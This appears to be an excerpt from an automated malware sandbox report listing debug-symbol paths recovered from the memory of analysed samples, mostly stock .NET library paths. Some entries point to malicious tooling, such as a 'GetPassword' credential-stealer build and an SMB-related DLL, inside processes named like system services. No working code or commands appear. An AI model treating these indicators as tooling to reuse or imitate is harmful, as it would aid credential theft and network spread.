Source:	Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/net461-Release/Microsoft.Bcl.AsyncInterfaces.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Security\4.0.2.0\System.Net.Security.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XPath\4.0.3.0\System.Xml.XPath.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.CompilerServices.VisualC\4.0.2.0\System.Runtime.CompilerServices.VisualC.pdb@Z L*_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Runtime.Serialization.Primitives/netfx\System.Runtime.Serialization.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Numerics\4.0.1.0\System.Runtime.Numerics.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.IO.Compression/netfx\System.IO.Compression.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Principal\4.0.1.0\System.Security.Principal.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Diagnostics.Tracing/netfx\System.Diagnostics.Tracing.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime\4.1.2.0\System.Runtime.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlSerializer\4.0.11.0\System.Xml.XmlSerializer.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Writer\4.0.2.0\System.Resources.Writer.pdbl( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection\4.1.2.0\System.Reflection.pdbH,b, T,_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Diagnostics.NETCore.Client/Release/netstandard2.0/Microsoft.Diagnostics.NETCore.Client.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Numerics\4.0.1.0\System.Runtime.Numerics.pdb\|( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.TypeConverter\4.1.2.0\System.ComponentModel.TypeConverter.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Handles\4.0.1.0\System.Runtime.Handles.pdb,)F) 8)_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.RegularExpressions\4.1.1.0\System.Text.RegularExpressions.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Ping\4.0.2.0\System.Net.Ping.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection.Extensions\4.0.1.0\System.Reflection.Extensions.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Contracts\4.0.1.0\System.Diagnostics.Contracts.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.AppContext\4.1.2.0\System.AppContext.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.Concurrent\4.0.11.0\System.Collections.Concurrent.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NetworkInformation\4.1.2.0\System.Net.NetworkInformation.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Primitives\4.0.2.0\System.Security.Cryptography.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Globalization.Extensions/netfx\System.Globalization.Extensions.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ObjectModel\4.0.11.0\System.ObjectModel.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.CompilerServices.VisualC\4.0.2.0\System.Runtime.CompilerServices.VisualC.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Security.SecureString/netfx\System.Security.SecureString.pdbf) source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\workspace\_work\1\s\artifacts\obj\Microsoft.Diagnostics.Runtime\Release\net461\Microsoft.Diagnostics.Runtime.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.InteropServices\4.1.2.0\System.Runtime.InteropServices.pdbH5b5 T5_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Tasks\4.0.11.0\System.Threading.Tasks.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.ReaderWriter\4.1.1.0\System.Xml.ReaderWriter.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.TextWriterTraceListener\4.0.2.0\System.Diagnostics.TextWriterTraceListener.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Reader\4.0.2.0\System.Resources.Reader.pdbl( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Serialization.Formatters\4.0.2.0\System.Runtime.Serialization.Formatters.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Tasks.Parallel\4.0.1.0\System.Threading.Tasks.Parallel.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Collections.Immutable/net461-Release/System.Collections.Immutable.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.WebSockets.Client\4.0.2.0\System.Net.WebSockets.Client.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.IsolatedStorage\4.0.2.0\System.IO.IsolatedStorage.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Xml.XPath.XDocument/netfx\System.Xml.XPath.XDocument.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem\4.0.3.0\System.IO.FileSystem.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.X509Certificates\4.1.2.0\System.Security.Cryptography.X509Certificates.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Expressions\4.1.2.0\System.Linq.Expressions.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Csp\4.0.2.0\System.Security.Cryptography.Csp.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\Dll1\Release\Dll_x86.pdb source: 38iGnQnL33.exe, 38iGnQnL33.exe, 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, MSSQLH.exe, 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmp, MSSQLH.exe, 00000001.00000000.1648605215.000000000042B000.00000008.00000001.01000000.00000004.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netfx\System.Memory.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel\4.0.1.0\System.ComponentModel.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Requests\4.0.11.0\System.Net.Requests.pdbX)r) d)_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Handles\4.0.1.0\System.Runtime.Handles.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Buffers\netfx\System.Buffers.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Encodings.Web/net461-Release/System.Text.Encodings.Web.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\39\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Numerics.Vectors/net46\System.Numerics.Vectors.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Threading.Tasks.Extensions\netfx\System.Threading.Tasks.Extensions.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Collections.Immutable/net461-Release/System.Collections.Immutable.pdbSHA256M source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Encoding\4.0.2.0\System.Security.Cryptography.Encoding.pdbT)n) `)_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.AppContext\4.1.2.0\System.AppContext.pdb<(V( H(_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Pipes\4.0.2.0\System.IO.Pipes.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Process\4.1.2.0\System.Diagnostics.Process.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Primitives\4.0.11.0\System.Net.Primitives.pdbH,b, T,_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Queryable\4.0.1.0\System.Linq.Queryable.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Security.SecureString/netfx\System.Security.SecureString.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.Primitives\4.1.2.0\System.ComponentModel.Primitives.pdbd+~+ p+_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XDocument\4.0.11.0\System.Xml.XDocument.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Dynamic.Runtime\4.0.11.0\System.Dynamic.Runtime.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading\4.0.11.0\System.Threading.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlDocument\4.0.3.0\System.Xml.XmlDocument.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Compression.ZipFile\4.0.3.0\System.IO.Compression.ZipFile.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Thread\4.0.2.0\System.Threading.Thread.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\GetPassword-master\Release\GetPassword.pdb source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Wmicc.exe, 0000003F.00000000.2300455511.0000000000424000.00000008.00000001.01000000.0000000E.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\Microsoft.Win32.Primitives\4.0.3.0\Microsoft.Win32.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.FileVersionInfo\4.0.2.0\System.Diagnostics.FileVersionInfo.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.WebHeaderCollection\4.0.1.0\System.Net.WebHeaderCollection.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Claims\4.0.3.0\System.Security.Claims.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.Encoding\4.0.11.0\System.Text.Encoding.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.Encoding.Extensions\4.0.11.0\System.Text.Encoding.Extensions.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Diagnostics.NETCore.Client/Release/netstandard2.0/Microsoft.Diagnostics.NETCore.Client.pdbSHA256 source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\SMB_Dll\x64\Release\Dll.pdb source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\SMB_Dll\Release\Dll.pdb source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Encodings.Web/net461-Release/System.Text.Encodings.Web.pdbSHA256I source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.Specialized\4.0.3.0\System.Collections.Specialized.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Reflection.Metadata/net461-Release/System.Reflection.Metadata.pdbSHA256[] source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\netfx\System.Runtime.InteropServices.RuntimeInformation.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\39\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.ValueTuple\netfx\System.ValueTuple.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.FileVersionInfo\4.0.2.0\System.Diagnostics.FileVersionInfo.pdbp( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.Primitives\4.0.3.0\System.IO.FileSystem.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
